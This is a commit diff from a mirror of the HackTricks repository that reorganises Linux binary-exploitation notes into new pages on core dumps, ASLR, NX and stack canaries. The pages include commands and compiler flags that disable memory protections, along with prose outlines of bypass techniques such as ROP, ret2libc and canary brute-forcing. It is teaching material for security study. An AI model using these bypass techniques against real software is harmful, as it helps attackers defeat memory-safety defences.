mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
GITBOOK-4287: change request with no subject merged in GitBook
This commit is contained in:
parent
db3645f657
commit
098cceb544
10 changed files with 677 additions and 108 deletions
10
SUMMARY.md
10
SUMMARY.md
|
@ -693,14 +693,22 @@
|
|||
* [Common API used in Malware](reversing/common-api-used-in-malware.md)
|
||||
* [Word Macros](reversing/word-macros.md)
|
||||
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
|
||||
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
|
||||
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
|
||||
* [Ret2Shellcode](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md)
|
||||
* [Ret2win](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md)
|
||||
* [Common Binary Protections](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/README.md)
|
||||
* [No-exec / NX](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/no-exec-nx.md)
|
||||
* [Stack Canaries](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/stack-canaries.md)
|
||||
* [ASLR](reversing-and-exploiting/linux-exploiting-basic-esp/common-binary-protections/aslr.md)
|
||||
* [ELF Tricks](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Format Strings Template](exploiting/linux-exploiting-basic-esp/format-strings-template.md)
|
||||
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
|
||||
* [ROP - Leaking LIBC address](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/README.md)
|
||||
* [ROP - Leaking LIBC template](exploiting/linux-exploiting-basic-esp/rop-leaking-libc-address/rop-leaking-libc-template.md)
|
||||
* [Bypassing Canary & PIE](exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md)
|
||||
* [Ret2Lib](exploiting/linux-exploiting-basic-esp/ret2lib.md)
|
||||
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||
* [ROP - call sys\_execve](exploiting/linux-exploiting-basic-esp/rop-syscall-execv.md)
|
||||
* [Exploiting Tools](exploiting/tools/README.md)
|
||||
* [PwnTools](exploiting/tools/pwntools.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
|
|
|
@ -1,7 +1,5 @@
|
|||
# Linux Exploiting (Basic) (SPA)
|
||||
|
||||
## Linux Exploiting (Basic) (SPA)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
@ -11,56 +9,11 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## **ASLR**
|
||||
|
||||
Aleatorización de direcciones
|
||||
|
||||
**Desactiva aleatorizacion(ASLR) GLOBAL (root)**:\
|
||||
echo 0 > /proc/sys/kernel/randomize\_va\_space\
|
||||
Reactivar aletorizacion GLOBAL: echo 2 > /proc/sys/kernel/randomize\_va\_space
|
||||
|
||||
**Desactivar para una ejecución** (no requiere root):\
|
||||
setarch \`arch\` -R ./ejemplo argumentos\
|
||||
setarch \`uname -m\` -R ./ejemplo argumentos
|
||||
|
||||
**Desactivar protección de ejecución en pila**\
|
||||
gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack ejemplo.c -o ejemplo
|
||||
|
||||
**Core file**\
|
||||
ulimit -c unlimited\
|
||||
gdb /exec core\_file\
|
||||
/etc/security/limits.conf -> \* soft core unlimited
|
||||
|
||||
**Text**\
|
||||
**Data**\
|
||||
**BSS**\
|
||||
**Heap**
|
||||
|
||||
**Stack**
|
||||
|
||||
**Sección BSS**: Variables globales o estáticas sin inicializar
|
||||
|
||||
```
|
||||
static int i;
|
||||
```
|
||||
|
||||
**Sección DATA**: Variables globales o estáticas inicializadas
|
||||
|
||||
```
|
||||
int i = 5;
|
||||
```
|
||||
|
||||
**Sección TEXT**: Instrucciones del código (opcodes)
|
||||
|
||||
**Sección HEAP**: Buffer reservados de forma dinánima (malloc(), calloc(), realloc() )
|
||||
|
||||
**Sección STACK**: La pila (Argumentos pasados, cadenas de entorno (env), variables locales…)
|
||||
|
||||
## **1.STACK OVERFLOWS**
|
||||
|
||||
> buffer overflow, buffer overrun, stack overrun, stack smashing
|
||||
|
@ -313,22 +266,6 @@ Además, el hecho de poder colocar la shellcode después de la corrupción del E
|
|||
|
||||
De forma muy similar a esto si sabemos que una función devuelve la dirección donde está guardada la shellcode se puede llamar a **call eax** o **jmp eax (ret2eax).**
|
||||
|
||||
**ROP (Return Oriented Programming) o borrowed code chunks**
|
||||
|
||||
Los trozos de código que se invocan se conocen como gadgets.
|
||||
|
||||
Esta técnica consiste en encadenar distintas llamadas a funciones mediante la técnica de **ret2libc** y el uso de **pop,ret**.
|
||||
|
||||
En algunas arquitecturas de procesadores cada instrucción es un conjunto de 32bits (MIPS por ej). Sin embargo, en Intel las instrucciones son de tamaño variable y varias instrucciones pueden compartir un conjunto de bits, por ejemplo:
|
||||
|
||||
**movl $0xe4ff, -0x(%ebp)** —> Contiene los bytes 0xffe4 que también se traducen por: **jmp \*%esp**
|
||||
|
||||
De esta forma se pueden ejecutar algunas instrucciones que realmente ni si quiera está en el programa original
|
||||
|
||||
**ROPgadget.py** nos ayuda a encontrar valores en binarios
|
||||
|
||||
Este programa también sirve para crear los **payloads**. Le puedes dar la librería de la que quieres sacar los ROPs y él generará un payload en python al cual tu le das la dirección en la que está dicha librería y el payload ya está listo para ser usado como shellcode. Además, como usa llamadas al sistema no ejecuta realmente nada en el stack sino que solo va guardando direcciones de ROPs que se ejecutarán mediante **ret**. Para usar este payload hay que llamar al payload mediante una instrucción **ret**.
|
||||
|
||||
**Integer overflows**
|
||||
|
||||
Este tipo de overflows se producen cuando una variable no está preparada para soportar un número tan grande como se le pasa, posiblemente por una confusión entre variables con y sin signo, por ejemplo:
|
||||
|
@ -538,18 +475,6 @@ Each object of a **class** has a **VPtr** which is a **pointer** to the arrayof
|
|||
|
||||
## **Medidas preventivas y evasiones**
|
||||
|
||||
**ASLR no tan aleatorio**
|
||||
|
||||
PaX dive el espacio de direcciones del proceso en 3 grupos:
|
||||
|
||||
Codigo y datos iniciados y no iniciados: .text, .data y .bss —> 16bits de entropia en la variable delta\_exec, esta variable se inicia aleatoriamente con cada proceso y se suma a las direcciones iniciales
|
||||
|
||||
Memoria asignada por mmap() y libraries compartidas —> 16bits, delta\_mmap
|
||||
|
||||
El stack —> 24bits, delta\_stack —> Realmente 11 (del byte 10º al 20º inclusive) —>alineado a 16bytes —> 524.288 posibles direcciones reales del stack
|
||||
|
||||
Las variables de entorno y los argumentos se desplazan menos que un buffer en el stack.
|
||||
|
||||
**Return-into-printf**
|
||||
|
||||
Es una técnica para convertir un buffer overflow en un error de cadena de formato. Consiste en sustituir el EIP para que apunte a un printf de la función y pasarle como argumento una cadena de formato manipulada para obtener valores sobre el estado del proceso.
|
||||
|
@ -560,36 +485,6 @@ Las librerías están en una posición con 16bits de aleatoriedad = 65636 posibl
|
|||
|
||||
La única forma de estar seguros de que el ASLR funciona es usando arquitectura de 64bits. Ahí no hay ataques de fuerza bruta.
|
||||
|
||||
**StackGuard y StackShield**
|
||||
|
||||
**StackGuard** inserta antes del EIP —> 0x000aff0d(null, \n, EndOfFile(EOF), \r) —> Siguen siendo vulnerables recv(), memcpy(), read(), bcoy() y no protege el EBP
|
||||
|
||||
**StackShield** es más elaborado que StackGuard
|
||||
|
||||
Guarda en una tabla (Global Return Stack) todas las direcciones EIP de vuelta de forma que el overflow no cause ningún daño. Ademas, se pueden comparar ambas direcciones para a ver si ha habido un desbordamiento.
|
||||
|
||||
También se puede comprobar la dirección de retorno con un valor límite, así si el EIP se va a un sitio distinto del habitual como el espacio de datos se sabrá. Pero esto se sortea con Ret-to-lib, ROPs o ret2ret.
|
||||
|
||||
Como se puede ver stackshield tampoco protege las variables locales.
|
||||
|
||||
**Stack Smash Protector (ProPolice) -fstack-protector**
|
||||
|
||||
Se pone el canary antes del EBP. Reordena las variables locales para que los buffers estén en las posiciones más altas y así no puedan sobreescribir otras variables.
|
||||
|
||||
Además, realiza una copia segura de los argumentos pasados encima de la pila (encima de las vars locales) y usa estas copias como argumentos.
|
||||
|
||||
No puede proteger arrays de menos de 8 elementos ni buffers que formen parte de una estructura del usuario.
|
||||
|
||||
El canary es un número random sacado de “/dev/urandom” o sino es 0xff0a0000. Se almacena en TLS(Thread Local Storage). Los hilos comparten el mismo espacio de memoria, el TLS es un área que tiene variables globales o estáticas de cada hilo. Sin embargo, en ppio estas son copiadas del proceso padre aunque el proceso hijo podría modificar estos datos sin modificar los del padre ni los de los demás hijos. El problema es que si se usa fork() pero no se crea un nuevo canario, entonces todos los procesos (padre e hijos) usan el mismo canario. En i386 se almacena en gs:0x14 y en x86\_64 se almacena en fs:0x28
|
||||
|
||||
Esta protección localiza funciones que tengan buffer que puedan ser atacados e incluye en ellas código al ppio de la función para colocar el canario y código al final para comprobarlo.
|
||||
|
||||
La función fork() realiza una copia exacta del proceso del padre, por eso mismo si un servidor web llama a fork() se puede hacer un ataque de fuerza bruta byte por byte hasta averiguar el canary que se está utilizando.
|
||||
|
||||
Si se usa la función execve() después de fork(), se sobreescribe el espacio y el ataque ya no es posible. vfork() permite ejecutar el proceso hijo sin crear un duplicado hasta que el proceso hijo intentase escribir, entonces sí creaba el duplicado.
|
||||
|
||||
**Relocation Read-Only (RELRO)**
|
||||
|
||||
### Relro
|
||||
|
||||
**Relro (Read only Relocation)** affects the memory permissions similar to NX. The difference is whereas with NX it makes the stack executable, RELRO makes **certain things read only** so we **can't write** to them. The most common way I've seen this be an obstacle is preventing us from doing a **`got` table overwrite**, which will be covered later. The `got` table holds addresses for libc functions so that the binary knows what the addresses are and can call them. Let's see what the memory permissions look like for a `got` table entry for a binary with and without relro.
|
||||
|
@ -1081,6 +976,7 @@ Consiste en mediante reservas y liberaciones sementar la memoria de forma que qu
|
|||
|
||||
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
|
||||
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
|
||||
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
|
||||
|
||||
## **References**
|
||||
|
||||
|
@ -1095,7 +991,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -0,0 +1,59 @@
|
|||
# Common Binary Protections
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Enable Core files
|
||||
|
||||
**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred.
|
||||
|
||||
### **Enabling Core Dump Generation**
|
||||
|
||||
By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the `ulimit` command (in bash or similar shells) or configure system-wide settings.
|
||||
|
||||
* **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions.
|
||||
|
||||
```bash
|
||||
ulimit -c unlimited
|
||||
```
|
||||
|
||||
* **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions.
|
||||
|
||||
```markdown
|
||||
* soft core unlimited
|
||||
```
|
||||
|
||||
### **Analyzing Core Files with GDB**
|
||||
|
||||
To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with:
|
||||
|
||||
```bash
|
||||
gdb /path/to/executable /path/to/core_file
|
||||
```
|
||||
|
||||
This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,100 @@
|
|||
# ASLR
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## ASLR
|
||||
|
||||
**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows.
|
||||
|
||||
### **ASLR Not So Random**
|
||||
|
||||
PaX divides the process address space into **3 groups**:
|
||||
|
||||
* **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses.
|
||||
* **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`.
|
||||
* **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**.
|
||||
|
||||
The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully.
|
||||
|
||||
In 64bit systems the entropy is much higher and this isn't possible.
|
||||
|
||||
### **Checking ASLR Status**
|
||||
|
||||
To **check** the ASLR status on a Linux system, you can read the value from the `/proc/sys/kernel/randomize_va_space` file. The value stored in this file determines the type of ASLR being applied:
|
||||
|
||||
* **0**: No randomization. Everything is static.
|
||||
* **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized.
|
||||
* **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized.
|
||||
|
||||
You can check the ASLR status with the following command:
|
||||
|
||||
```bash
|
||||
bashCopy codecat /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
||||
### **Disabling ASLR**
|
||||
|
||||
To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it:
|
||||
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
||||
You can also disable ASLR for an execution with:
|
||||
|
||||
```bash
|
||||
setarch `arch` -R ./bin args
|
||||
setarch `uname -m` -R ./bin args
|
||||
```
|
||||
|
||||
### **Enabling ASLR**
|
||||
|
||||
To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command:
|
||||
|
||||
```bash
|
||||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
||||
### **Persistence Across Reboots**
|
||||
|
||||
Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line:
|
||||
|
||||
```tsconfig
|
||||
kernel.randomize_va_space=2 # Enable ASLR
|
||||
# or
|
||||
kernel.randomize_va_space=0 # Disable ASLR
|
||||
```
|
||||
|
||||
After editing `/etc/sysctl.conf`, apply the changes with:
|
||||
|
||||
```bash
|
||||
sudo sysctl -p
|
||||
```
|
||||
|
||||
This will ensure that your ASLR settings remain across reboots.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,40 @@
|
|||
# No-exec / NX
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Basic Information
|
||||
|
||||
The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it.
|
||||
|
||||
## Bypasses
|
||||
|
||||
* It's possible to use techniques such as **ROP** to bypass this protection by executing chunks of executable code already present in the binary.
|
||||
* **Ret2libc**
|
||||
* **Ret2printc**
|
||||
* **Ret2...**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,51 @@
|
|||
# Stack Canaries
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## **StackGuard and StackShield**
|
||||
|
||||
**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**.
|
||||
|
||||
**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables.
|
||||
|
||||
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
|
||||
|
||||
This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure.
|
||||
|
||||
The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86\_64**, at `fs:0x28`.
|
||||
|
||||
This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity.
|
||||
|
||||
When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling.
|
||||
|
||||
## Bypasses
|
||||
|
||||
* **Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value.
|
||||
* If the canary is forked in child processes it might be possible to bruteforce it one byte at a time.
|
||||
* If there is some interesting leak vulnerability in the binary it might be possible to leak it.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -0,0 +1,103 @@
|
|||
# Stack Overflow
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
